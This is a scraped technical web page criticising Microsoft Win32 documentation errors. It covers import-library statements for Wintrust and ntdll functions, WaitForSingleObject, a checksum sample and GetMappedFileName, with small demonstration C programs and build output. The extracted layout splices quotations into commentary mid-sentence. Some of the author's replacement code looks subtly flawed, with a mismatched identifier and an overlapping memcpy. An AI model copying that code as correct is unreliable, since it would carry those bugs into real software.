wintrust.h in the Requirementssection but contradicts the highlighted statement
This function has no associated header file or import library.given in the text – it’s a real shame that nobody at Microsoft cares about such obvious faults!
 The documentation for both of the Win32 functions
            WintrustGetRegPolicyFlags()
            and
            WintrustSetRegPolicyFlags()
            states since 2001:
        
The documentation for the Win32 functionNote This function has no associated import library. You must use the LoadLibrary and GetProcAddress functions to dynamically link to Wintrust.dll.[…]
Requirement Value … … Header wintrust.h DLL Wintrust.dll 
WTHelperCertFindIssuerCertificate()
            states since 2001:
        Ouch²: no header file is specified in theNote
This function has no associated import library. You must use the LoadLibrary and GetProcAddress functions to dynamically link to Wintrust.dll.
[…]
Requirement Value … … DLL Wintrust.dll 
Requirementssection!
 The documentation for each of the Win32 functions
            WintrustAddActionID(),
            WintrustLoadFunctionPointers(),
            WintrustRemoveActionID(),
            WintrustSetDefaultIncludePEPageHashes()
            WTHelperCertIsSelfSigned(),
            WTHelperGetProvCertFromChain(),
            WTHelperGetProvPrivateDataFromChain(),
            WTHelperGetProvSignerFromChain()
            and
            WTHelperProvDataFromStateData()
            states since 2001:
        
This function has no associated import library. You must use the LoadLibrary and GetProcAddress functions to dynamically link to Wintrust.dll.Ouch³: the highlighted reference to the import library[…]
Requirement Value … … Header wintrust.h Library Wintrust.lib DLL Wintrust.dll 
Wintrust.lib in the Requirementssection but contradicts the highlighted statement
This function has no associated import library.given in the text – it’s a real shame that nobody at Microsoft cares about such obvious faults!
 Determine whether the highlighted statement
            This function has no associated import library.
 is true
            – or false:
        
FOR %? IN (Wintrust.lib) DO SET WINTRUST=%~$LIB:? LINK.EXE /DUMP /EXPORTS /OUT:wintrust.txt "%WINTRUST%" FIND.EXE "OpenPersonalTrustDBDialog" wintrust.txt FIND.EXE "Wintrust" wintrust.txt FIND.EXE "WTHelper" wintrust.txtNote: the environment variable
LIB is
            set by the
            Windows Software Development Kit for Windows 7
            – see the
            MSDN article
            Use the Microsoft C++ toolset from the command line
            for an introduction.
        Note: the command lines can be copied and pasted as block into a Command Processor window.
SET WINTRUST=C:\Program Files\Microsoft SDKs\Windows\v7.1\Lib\Wintrust.Lib
Microsoft (R) COFF/PE Dumper Version 10.00.40219.386
Copyright (C) Microsoft Corporation.  All rights reserved.
---------- WINTRUST.TXT
                  _OpenPersonalTrustDBDialog@4
                  _OpenPersonalTrustDBDialogEx@12
---------- WINTRUST.TXT
                  _WintrustAddActionID@12
                  _WintrustAddDefaultForUsage@8
                  _WintrustCertificateTrust@4
                  _WintrustGetDefaultForUsage@12
                  _WintrustGetRegPolicyFlags@4
                  _WintrustLoadFunctionPointers@8
                  _WintrustRemoveActionID@4
                  _WintrustSetDefaultIncludePEPageHashes@4
                  _WintrustSetRegPolicyFlags@4
---------- WINTRUST.TXT
                  _WTHelperCertCheckValidSignature@4
                  _WTHelperCertIsSelfSigned@8
                  _WTHelperCheckCertUsage@8
                  _WTHelperGetAgencyInfo@12
                  _WTHelperGetFileHandle@4
                  _WTHelperGetFileHash@24
                  _WTHelperGetFileName@4
                  _WTHelperGetKnownUsages@8
                  _WTHelperGetProvCertFromChain@8
                  _WTHelperGetProvPrivateDataFromChain@8
                  _WTHelperGetProvSignerFromChain@16
                  _WTHelperIsInRootStore@8
                  _WTHelperOpenKnownStores@4
                  _WTHelperProvDataFromStateData@4
            OUCH: contrary to the highlighted statements of
            their documentations cited above, not just the
            Windows Software Development Kit for Windows 7
            but ships with an associated import library
Wintrust.lib for these thirteen Win32
            functions!
         Create the text file wintrust.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <wintrust.h>
FARPROC	wintrust[] = {OpenPersonalTrustDBDialog,
	              OpenPersonalTrustDBDialogEx,
	              WintrustAddActionID,
	              WintrustGetRegPolicyFlags,
	              WintrustLoadFunctionPointers,
	              WintrustRemoveActionID,
	              WintrustSetDefaultIncludePEPageHashes,
	              WintrustSetRegPolicyFlags,
	              WTHelperCertIsSelfSigned,
	              WTHelperGetProvCertFromChain,
	              WTHelperGetProvPrivateDataFromChain,
	              WTHelperGetProvSignerFromChain,
	              WTHelperProvDataFromStateData}; Compile and link the source file wintrust.c created in
            step 2. to prove that the associated import library
            Wintrust.lib can be linked statically:
        
SET CL=/GF /W4 /Zl SET LINK=/DLL /NODEFAULTLIB /NOENTRY CL.EXE wintrust.c wintrust.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. wintrust.c wintrust.c(12) : warning C4133: 'initializing' : incompatible types - from 'void (__stdcall *)(DWORD *)' to 'FARPROC' wintrust.c(15) : warning C4133: 'initializing' : incompatible types - from 'void (__stdcall *)(BOOL)' to 'FARPROC' wintrust.c(18) : warning C4047: 'initializing' : 'FARPROC' differs in levels of indirection from 'CRYPT_PROVIDER_CERT *(__stdcall *)(CRYPT_PROVIDER_SGNR *,DWORD)' wintrust.c(19) : warning C4047: 'initializing' : 'FARPROC' differs in levels of indirection from 'CRYPT_PROVIDER_PRIVDATA *(__stdcall *)(CRYPT_PROVIDER_DATA *,GUID *)' wintrust.c(20) : warning C4047: 'initializing' : 'FARPROC' differs in levels of indirection from 'CRYPT_PROVIDER_SGNR *(__stdcall *)(CRYPT_PROVIDER_DATA *,DWORD,BOOL,DWORD)' wintrust.c(21) : warning C4047: 'initializing' : 'FARPROC' differs in levels of indirection from 'CRYPT_PROVIDER_DATA *(__stdcall *)(HANDLE)' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /DLL /NODEFAULTLIB /NOENTRY /out:wintrust.exe wintrust.obj wintrust.libOUCH: contrary to the highlighted statements of their documentations cited above, these thirteen Win32 functions can be linked statically with their import library
wintrust.lib!
        GetThreadDescription()
            states in section Remarks:
Windows Server 2016, Windows 10 LTSB 2016 and Windows 10 version 1607: GetThreadDescription is only available by Run Time Dynamic Linking in KernelBase.dll.The documentation for the Win32 function
SetThreadDescription()
            states in section Remarks:
Windows Server 2016, Windows 10 LTSB 2016 and Windows 10 version 1607: SetThreadDescription is only available by Run Time Dynamic Linking in KernelBase.dll.OUCH: these two identical statements are but utter nonsense – as documented with the MSDN article About Dynamic-Link Libraries, every function exported from a DLL is of course available by load-time dynamic linking too, independent of the Windows version!
Note: if an import library for a particular function or DLL is missing, it can be created from scratch, as documented in the MSKB article import library.
The Winternl.h header file exposes prototypes of internal Windows APIs. There is no associated import library, so developers must use run-time dynamic linking to call the functions described in this header file.The documentation for each of the[…]
The functions and structures in Winternl.h are internal to the operating system and subject to change from one release of Windows to the next, and possibly even between service packs for each release. To maintain the compatibility of your application, you should use the equivalent public functions instead. Further information is available in the header file, Winternl.h, and the documentation for each function.
If you do use these functions, you can access them through run-time dynamic linking using LoadLibrary and GetProcAddress. This gives your code an opportunity to respond gracefully if the function has been changed or removed from the operating system. Signature changes, however, may not be detectable.
nativefunctions
LdrRegisterDllNotification(),
            LdrUnregisterDllNotification(),
            NtOpenThread(),
            NtQueryAttributesFile(),
            RtlGetUnloadEventTrace(),
            RtlGetUnloadEventTraceEx()
            and
            RtlIsNameInExpression()
            (just to pick a few) states but otherwise:
        This function has no associated header file. The associated import library, Ntdll.lib, is available in the Microsoft Windows Driver Kit (WDK). You can also call this function using the LoadLibrary and GetProcAddress functions to dynamically link to Ntdll.dll.OUCH⁰: the highlighted statements of these documentations but contradict each other and also the first documentation cited above! Download the Windows Driver Kit (WDK) Download the Windows Driver Kit (WDK)[…]
Requirement Value … … Header winternl.h Library ntdll.lib DLL ntdll.dll 
 The documentation for each of the native
 functions
            NtAssociateWaitCompletionPacket(),
            NtCancelWaitCompletionPacket(),
            NtCreateWaitCompletionPacket(),
            NtOpenDirectoryObject(),
            NtOpenSymbolicLinkObject(),
            NtQueryDirectoryObject(),
            NtQuerySymbolicLinkObject(),
            NtQuerySection(),
            NtRemoveIoCompletion(),
            RtlIsDosDeviceName_U()
            and
            RtlDosPathNameToNtPathName_U_WithStatus()
            (just to pick a few) states:
        
This function has no associated import library or header file; you must call it using the LoadLibrary and GetProcAddress functions. The API is exported from ntdll.dll.OUCH¹: use
GetModuleHandle()
            instead of
            LoadLibrary()
            – NTDLL.dll is loaded in
            every process!
         The documentation for each of the native
 functions
            RtlGetImageFileMachines(),
            RtlGetReturnAddressHijackTarget()
            and
            RtlVirtualUnwind2()
            (just to pick a few) states:
        
This function has no associated import library or header file. You must call it using the LoadLibrary and GetProcAddress.The documentation for each of the[…]
Requirement Value … … DLL Ntdll.dll 
nativefunctions
NtGetCurrentProcessorNumber(),
            NtQueryInformationProcess(),
            NtQueryInformationThread(),
            NtQueryMultipleValueKey(),
            NtQueryObject(),
            NtQuerySystemInformation(),
            NtQuerySystemTime(),
            RtlConvertSidToUnicodeString(),
            RtlIsNameLegalDOS8Dot3(),
            RtlLocalTimeToSystemTime(),
            RtlTimeToSecondsSince1970()
            and
            RtlUniform()
            (just to pick a few) states:
        This function has no associated import library. You must use the LoadLibrary and GetProcAddress functions to dynamically link to Ntdll.dll.OUCH²: the highlighted statements but contradict each other as well as the second documentation cited above![…]
Requirement Value … … Header winternl.h Library ntdll.lib DLL ntdll.dll 
 The documentation for each of the native
 functions
            NtClose(),
            NtDeviceIoControlFile(),
            NtWaitForSingleObject(),
            RtlAnsiStringToUnicodeString(),
            RtlFreeUnicodeString(),
            RtlInitString()
            and
            RtlUnicodeStringToAnsiString()
            (just to pick a few) states:
        
Because there is no import library for this function, you must use GetProcAddress.OUCH³: the highlighted statements but contradict each other as well as the second documentation cited above![…]
Requirement Value … … Header winternl.h Library ntdll.lib DLL ntdll.dll 
 The documentation for the native
 function
            RtlCharToInteger()
            states:
        
There is no import library for this function. Use GetProcAddress rather than linking to the function directly.OUCH⁴: the highlighted statements but contradict each other as well as the second documentation cited above![…]
Requirement Value … … Header winternl.h Library ntdll.lib DLL ntdll.dll 
WaitForSingleObject()
            states:
        Waits until the specified object is in the signaled state or the time-out interval elapses.OUCH⁰: the enumeration misses but[…]
[…]DWORD WaitForSingleObject( [in] HANDLE hHandle, [in] DWORD dwMilliseconds );
[in] hHandleA handle to the object. For a list of the object types whose handles can be specified, see the following Remarks section.
If this handle is closed while the wait is still pending, the function's behavior is undefined.
The handle must have the SYNCHRONIZE access right. For more information, see Standard Access Rights.
[in] dwMillisecondsThe time-out interval, in milliseconds. If a nonzero value is specified, the function waits until the object is signaled or the interval elapses. If dwMilliseconds is zero, the function does not enter a wait state if the object is not signaled; it always returns immediately. If dwMilliseconds is INFINITE, the function will return only when the object is signaled.
[…]
The WaitForSingleObject function can wait for the following objects:
- Change notification
- Console input
- Event
- Memory resource notification
- Mutex
- Process
- Semaphore
- Thread
- Waitable timer
Console output,
Device input/output,
File input/output,
Pipe input/output,
Socket input/outputand Jobs! Processes and Threads Synchronization Objects Event Objects Mutex Objects Semaphore Objects Waitable Timer Objects
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(noreturn)
VOID	CDECL	mainCRTStartup(VOID)
{
	DWORD	dwError = ERROR_SUCCESS;
#ifndef BLUNDER
	if (WaitForSingleObject(GetStdHandle(STD_ERROR_HANDLE),
#elif BLUNDER == 1
	if (WaitForSingleObject(INVALID_HANDLE_VALUE,
#else
	if (WaitForSingleObject(NULL,
#endif
	                        0x815) == WAIT_FAILED)
		dwError = GetLastError();
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1. a first time:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.OUCH¹: contrary to the highlighted statements of its documentation cited above, the Win32 function
WaitForSingleObject()
            waits on console output handles too!
         Compile and link the source file blunder.c created in
            step 1. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 4. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.OUCH²: contrary to the highlighted statements of its documentation cited above, the Win32 function
WaitForSingleObject()
            waits on the invalid handle
INVALID_HANDLE_VALUE too!
         Compile and link the source file blunder.c created in
            step 1. a third time, now with the preprocessor macro
            BLUNDER defined as 0:
        
CL.EXE /DBLUNDER=0 blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 6. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x6 (WIN32: 6 ERROR_INVALID_HANDLE) -- 6 (6) Error message text: The handle is invalid. CertUtil: -error command completed successfully.
The following functions were added to the Windows application programming interface (API) in this release:The MSDN article Obsolete Windows Programming Elements referenced there specifies:[…]
Despite this readily available information, the recently updated documentation for theThe following table provides a list of functions that are supported only for backward compatibility with the 16-bit Windows API.
16-bit Windows API 32-bit Windows support … … SetHandleCount Not necessary and has no effect. There is no explicit file handle limit. 
SetHandleCount()
            but Changes the number of file handles available to a process. For DOS-based Win32, the default maximum number of file handles available to a process is 20. For Windows Win32 systems, this API has no effect.OUCH: this function is available in all 16- and 32-bit editions of Windows since 40 (in words: fourty) years – it’s a shame that people who work for Microsoft apparently don’t value their companies’ ancestry and their colleagues legacy![…]
Requirement Value Minimum supported client Windows 10 Build 20348 Minimum supported server Windows 10 Build 20348 Header winbase.h Library kernel32.lib DLL kernel32.dll 
The MSDN article Porting MS-DOS System Calls informs:
Other (non-file) INT 21H functions should be replaced with the portable Windows API call as shown in the following table.
INT 21H subfunction MS-DOS operation Win32 API equivalent … … … 67H Set Handle Count SetHandleCount 
FILE_SYSTEM_RECOGNITION_STRUCTURE
            structure specifies:
        Contains the on-disk file system recognition information stored in the volume's boot sector (logical disk sector zero).OUCH⁰: the last highlighted statement but contradicts itself twice!This is an internally-defined data structure not available in a public header and is provided here for file system developers who want to take advantage of file system recognition. For more information, see File System Recognition.
[…]
Memberstypedef struct _FILE_SYSTEM_RECOGNITION_STRUCTURE { UCHAR Jmp[3]; UCHAR FsName[8]; UCHAR MustBeZero[5]; ULONG Identifier; USHORT Length; USHORT Checksum; } FILE_SYSTEM_RECOGNITION_STRUCTURE;Jmp
The JMP instruction. This data member is not included in the value contained in the Checksum data member.
[…]
Length
The number of bytes in this structure, from the beginning to the end, including the Jmp data member.
Checksum
A two-byte checksum calculated over the bytes starting at the FsName data member and ending at the last byte of this structure, excluding the Jmp and Checksum data members.
 The MSDN
            article
            Computing a File System Recognition Checksum
            presents a true gem of so-called
            example code
:
        
The FILE_SYSTEM_RECOGNITION_STRUCTURE structure, defined internally by Windows and used by file system recognition (FRS), contains a checksum value that must be properly computed for FRS to work properly with a specified unrecognized file system. The following example accomplishes this computation.OUCH¹: the two highlighted comparisons are pretty good examples for really bad code – they should be replaced withtypedef struct _FILE_SYSTEM_RECOGNITION_STRUCTURE { UCHAR Jmp[3]; UCHAR FsName[8]; UCHAR MustBeZero[5]; ULONG Identifier; USHORT Length; USHORT Checksum; } FILE_SYSTEM_RECOGNITION_STRUCTURE, *PFILE_SYSTEM_RECOGNITION_STRUCTURE; USHORT ComputeFileSystemInformationChecksum ( __in PFILE_SYSTEM_RECOGNITION_STRUCTURE Fsrs ) /*++ Routine Description: This routine computes the file record checksum. Arguments: Fsrs - Pointer to the record. Return Value: The checksum result. --*/ { USHORT Checksum = 0; USHORT i; PUCHAR Buffer = (PUCHAR)Fsrs; USHORT StartOffset; // // Skip the jump instruction // StartOffset = FIELD_OFFSET(FILE_SYSTEM_RECOGNITION_STRUCTURE, FsName); for (i = StartOffset; i < Fsrs->Length; i++) { // // Skip the checksum field itself, which is a USHORT. // if ((i == FIELD_OFFSET(FILE_SYSTEM_RECOGNITION_STRUCTURE, Checksum)) || (i == FIELD_OFFSET(FILE_SYSTEM_RECOGNITION_STRUCTURE, Checksum)+1)) { continue; } Checksum = ((Checksum & 1) ? 0x8000 : 0) + (Checksum >> 1) + Buffer[i]; } return Checksum; }
i < FIELD_OFFSET(FILE_SYSTEM_RECOGNITION_STRUCTURE, Checksum)
            and
            i >= FIELD_OFFSET(FILE_SYSTEM_RECOGNITION_STRUCTURE, Checksum) + sizeof(FILE_SYSTEM_RECOGNITION_STRUCTURE.Checksum)
            to skip the Checksum member independent of its data
            type and size!
         OUCH²: since Checksum is the
            last member there is no need to skip it – just replace the
            loop condition with
            i < FIELD_OFFSET(FILE_SYSTEM_RECOGNITION_STRUCTURE, Checksum)!
        
 OUCH³: the highlighted expression was most
            obviously written by an absolute beginner – it should be
            replaced with
            ((Checksum << 15) | (Checksum >> 1)) which
            every compiler should of course optimise to a single 16-bit
            ROR instruction.
            Obtaining File System Recognition Information
        
GetLogicalDrives()
            specifies:
        Retrieves a bitmask representing the currently available disk drives.The documentation for the Win32 functionDWORD GetLogicalDrives();
GetLogicalDriveStrings()
            specifies:
        Fills a buffer with strings that specify valid drives in the system.The documentation for the Win32 function[…]DWORD GetLogicalDriveStrings( [in] DWORD nBufferLength, [out] LPTSTR lpBuffer );
[out] lpBufferA pointer to a buffer that receives a series of null-terminated strings, one for each valid drive in the system, plus with an additional null character. Each string is a device name.
[…]
For an example, see Obtaining a File Name From a File Handle.
QueryDosDevice()
            specifies:
        Retrieves information about MS-DOS device names. The function can obtain the current mapping for a particular MS-DOS device name. The function can also obtain a list of all existing MS-DOS device names.OUCH⁰:[…]DWORD QueryDosDevice( [in, optional] LPCZSTR lpDeviceName, [out] LPTSTR lpTargetPath, [in] DWORD ucchMax );
[in, optional] lpDeviceNameAn MS-DOS device name string specifying the target of the query. The device name cannot have a trailing backslash; for example, use "C:", not "C:\". […]
[out] lpTargetPathA pointer to a buffer that will receive the result of the query. The function fills this buffer with one or more null-terminated strings. The final null-terminated string is followed by an additional NULL. […] Each null-terminated string stored into the buffer is the name of an existing MS-DOS device, for example, \Device\HarddiskVolume1 or \Device\Floppy0.
[…]
For an example, see Obtaining a File Name From a File Handle […]
NULL
            is not a character – it is a preprocessor
            macro defined as ((void *) 0)!
         The MSDN
            article
            Obtaining a File Name From a File Handle
            presents another gem of so-called
            example code
:
        
GetFinalPathNameByHandle, introduced in Windows Vista and Windows Server 2008, will return a path from a handle. If you need to do this on earlier releases of Windows, the following example obtains a file name from a handle to a file object using a file mapping object. It uses the CreateFileMapping and MapViewOfFile functions to create the mapping. Next, it uses the GetMappedFileName function to obtain the file name. For remote files, it prints the device path received from this function. For local files, it converts the path to use a drive letter and prints this path. To test this code, create a main function that opens a file using CreateFile and passes the resulting handle toOUCH¹: the preprocessor macroGetFileNameFromHandle.#include <windows.h> #include <stdio.h> #include <tchar.h> #include <string.h> #include <psapi.h> #include <strsafe.h> #define BUFSIZE 512 BOOL GetFileNameFromHandle(HANDLE hFile) { BOOL bSuccess = FALSE; TCHAR pszFilename[MAX_PATH+1]; HANDLE hFileMap; // Get the file size. DWORD dwFileSizeHi = 0; DWORD dwFileSizeLo = GetFileSize(hFile, &dwFileSizeHi); if( dwFileSizeLo == 0 && dwFileSizeHi == 0 ) { _tprintf(TEXT("Cannot map a file with a length of zero.\n")); return FALSE; } // Create a file mapping object. hFileMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 1, NULL); if (hFileMap) { // Create a file mapping to get the file name. void* pMem = MapViewOfFile(hFileMap, FILE_MAP_READ, 0, 0, 1); if (pMem) { if (GetMappedFileName (GetCurrentProcess(), pMem, pszFilename, MAX_PATH)) { // Translate path with device name to drive letters. TCHAR szTemp[BUFSIZE]; szTemp[0] = '\0'; if (GetLogicalDriveStrings(BUFSIZE-1, szTemp)) { TCHAR szName[MAX_PATH]; TCHAR szDrive[3] = TEXT(" :"); BOOL bFound = FALSE; TCHAR* p = szTemp; do { // Copy the drive letter to the template string *szDrive = *p; // Look up each device name if (QueryDosDevice(szDrive, szName, MAX_PATH)) { size_t uNameLen = _tcslen(szName); if (uNameLen < MAX_PATH) { bFound = _tcsnicmp(pszFilename, szName, uNameLen) == 0 && *(pszFilename + uNameLen) == _T('\\'); if (bFound) { // Reconstruct pszFilename using szTempFile // Replace device path with DOS path TCHAR szTempFile[MAX_PATH]; StringCchPrintf(szTempFile, MAX_PATH, TEXT("%s%s"), szDrive, pszFilename+uNameLen); StringCchCopyN(pszFilename, MAX_PATH+1, szTempFile, _tcslen(szTempFile)); } } } // Go to the next NULL character. while (*p++); } while (!bFound && *p); // end of string } } bSuccess = TRUE; UnmapViewOfFile(pMem); } CloseHandle(hFileMap); } _tprintf(TEXT("File name is %s\n"), pszFilename); return(bSuccess); } int _tmain(int argc, TCHAR *argv[]) { HANDLE hFile; if( argc != 2 ) { _tprintf(TEXT("This sample takes a file name as a parameter.\n")); return 0; } hFile = CreateFile(argv[1], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); if(hFile == INVALID_HANDLE_VALUE) { _tprintf(TEXT("CreateFile failed with %d\n"), GetLastError()); return 0; } GetFileNameFromHandle( hFile ); }
BUFSIZE should be defined as
            ('Z' - 'A' + 1) * sizeof("A:\\") + 1 = 105,
            the maximum size of the concatenated drive letter strings returned
            from the
            GetLogicalDriveStrings()
            function, and used as-isfor its
nBufferLength
            parameter – there’s no need to decrement it by 1!
         OUCH²: to (ab)use the
            GetLogicalDriveStrings()
            function in the first place and then to tinker with the returned
            drive letter strings is at least awkward – the
            Win32 function
            GetLogicalDrives()
            should be used instead!
        
 OUCH³: the assignment
            szTemp[0] = '\0' is superfluous – despite that it
            should of course be properly written as
            szTemp[0] = TEXT('\0')!
        
 OUCH⁴: the (ab)use of
            StringCchPrintf() (a wrapper around the
            sprintf
            function) to concatenate two strings is but
            braindead – define szDrive with
            a size of MAX_PATH characters instead of 3, then append
            the file name part from pszFileName with (for example)
            _tcscat()
            to the drive letter string and copy the completed string with (for
            example)
            _tcscpy()
            back to pszFileName!
        
 OUCH⁵: there is no NULL character
            –
            NULL
            is a preprocessor macro defined as ((void *) 0)!
        
The highlighted code from the MSDN article cited above should be replaced with the following equivalent code:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
      DWORD dwFileName = GetMappedFileName(GetCurrentProcess(), pMem, pszFilename, MAX_PATH);
      if (dwFileName)
      {
        TCHAR szName[MAX_PATH];
	TCHAR szDrive[] = TEXT(" :");
        DWORD dwDrive, dwDrives = GetLogicalDrives();
        while (_BitScanForward(&dwDrive, dwDrives))
        {
          dwDrives &= dwDrives - 1UL;
          szDrive[0] = TEXT('A') + dwDrive;
          if (QueryDosDevice(szDrive, szName, MAX_PATH))
          {
#ifdef UNICODE
            DWORD dwName = wcslen(szName);
#else
            DWORD dwName = strlen(szName);
#endif
            if (dwFileName < dwName
             || pszFileName[dwName] != TEXT('\\')
             || memcmp(pszFileName, szName, dwName * sizeof(TCHAR)) != 0)
              continue;
            pszFileName[--dwName] = TEXT(':');
            pszFileName[--dwName] = TEXT('A') + dwDrive;
            memcpy(pszFileName, pszFileName + dwName, (dwFileName + 1UL - dwName) * sizeof(TCHAR));
            break;
          }
        }
      }GetMappedFileName()
            specifies:
        Checks whether the specified address is within a memory-mapped file in the address space of the specified process. If so, the function returns the name of the memory-mapped file.CAVEAT: this documentation specifies neither a length limit for the returned file name nor its format![…]HANDLE GetMappedFileName( [in] HANDLE hProcess, [in] LPVOID lpv, [out] LPTSTR lpFilename, [in] DWORD nSize );
[in] lpvThe address to be verified.
[out] lpFilenameA pointer to the buffer that receives the name of the memory-mapped file to which the address specified by lpv belongs.
[in] nSizeThe size of the lpFilename buffer, in characters.
[…]
If the function succeeds, the return value specifies the length of the string copied to the buffer, in characters.
If the function fails, the return value is zero. To get extended error information, call GetLastError.
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <psapi.h>
#define wmemcpy	__movsw
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	WCHAR	szBlunder[MAX_PATH];
	DWORD	dwBlunder;
	DWORD	dwError;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	HANDLE	hProcess = GetCurrentProcess();
	DWORD	dwProcess;
	WCHAR	szProcess[MAX_PATH * 2];
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		dwBlunder = GetModuleFileName((HMODULE) NULL,
		                              szBlunder,
		                              sizeof(szBlunder) / sizeof(*szBlunder));
		if (dwBlunder == 0UL)
			dwError = GetLastError();
		else
		{
			do
			{
				dwProcess = GetMappedFileName(hProcess,
				                              wmainCRTStartup,
				                              szProcess,
				                              sizeof(szProcess) / sizeof(*szProcess));
				if (dwProcess == 0UL)
					break;
				szProcess[dwProcess++] = L'\n';
				if (!WriteConsole(hError, szProcess, dwProcess, &dwError, NULL))
					dwError = GetLastError();
				else
					if (dwError ^= dwProcess)
						dwError = ERROR_WRITE_FAULT;
				//	else
				//		dwError = ERROR_SUCCESS;
				wmemcpy(szProcess, szBlunder, dwBlunder + 1UL);
				szBlunder[dwBlunder++] = L'.';
				szBlunder[dwBlunder++] = L'e';
				szBlunder[dwBlunder++] = L'x';
				szBlunder[dwBlunder++] = L'e';
				szBlunder[dwBlunder] = L'\0';
			}
			while (MoveFile(szProcess, szBlunder));
			dwError = GetLastError();
			if (dwProcess == 0UL)
				if (GetModuleFileName((HMODULE) NULL,
			                              szProcess,
			                              sizeof(szProcess) / sizeof(*szProcess)) == 0UL)
					dwError = GetLastError();
				else
					if (!MoveFile(szBlunder, szProcess))
						dwError = GetLastError();
		}
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/GF /Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib psapi.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(37) : warning C4152: nonstandard extension, function/data pointer conversion in expression Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib psapi.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
\Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe 